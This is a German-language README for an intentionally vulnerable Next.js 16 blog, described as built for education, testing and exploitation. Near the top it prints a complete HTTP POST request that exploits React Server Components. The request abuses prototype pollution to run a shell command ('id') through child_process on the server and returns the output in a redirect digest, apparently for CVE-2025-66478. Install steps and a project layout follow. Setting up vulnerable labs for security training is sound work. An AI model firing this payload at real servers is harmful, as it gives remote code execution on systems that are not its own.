
WICHTIG: VERWUNDBARES Next JS Projekt, erstellt nur für Bildungs-, Test- und Exploitationszwecke, NICHT EMPFOHLEN FÜR PRODUKTION, NUR FÜR LOKALE ODER KONTROLLIERTE UMGEBUNG
Ein moderner und eleganter Blog, erstellt mit Next.js 16, React 19, shadcn/ui und Tailwind CSS.
Next JS VULNERABLES Projekt, nur für Bildungszwecke, Tests und Exploitation erstellt. INSTALLATION IN PRODUKTION NICHT EMPFOHLEN, NUR FÜR LOKALE ODER KONTROLLIERTE UMGEBUNGEN
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Referenz: github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
npm install
# o
yarn install
# o
pnpm install
npm run dev
# o
yarn dev
# o
pnpm dev
├── app/ # Next.js-Seiten
│ ├── blog/[id]/ # Blog-Detailseite
│ ├── profile/ # Profilseite
│ ├── layout.tsx # Haupt-Layout
│ └── page.tsx # Startseite
├── components/ # React-Komponenten
│ ├── auth/ # Authentifizierungskomponenten
│ ├── blog/ # Blog-Komponenten
│ ├── layout/ # Layout-Komponenten
│ └── ui/ # shadcn/ui-Komponenten
├── lib/ # Dienstprogramme und Dienste
│ ├── auth.ts # Authentifizierungsdienst
│ ├── mocks.ts # Mock-Daten
│ └── utils.ts # Allgemeine Dienstprogramme
└── public/ # Statische Dateien
Alle Daten (Blogs, Benutzer, Reaktionen) sind vollständig mock und werden dynamisch generiert. Es wird keine Datenbank benötigt.
Dieses Projekt dient nur Bildungszwecken.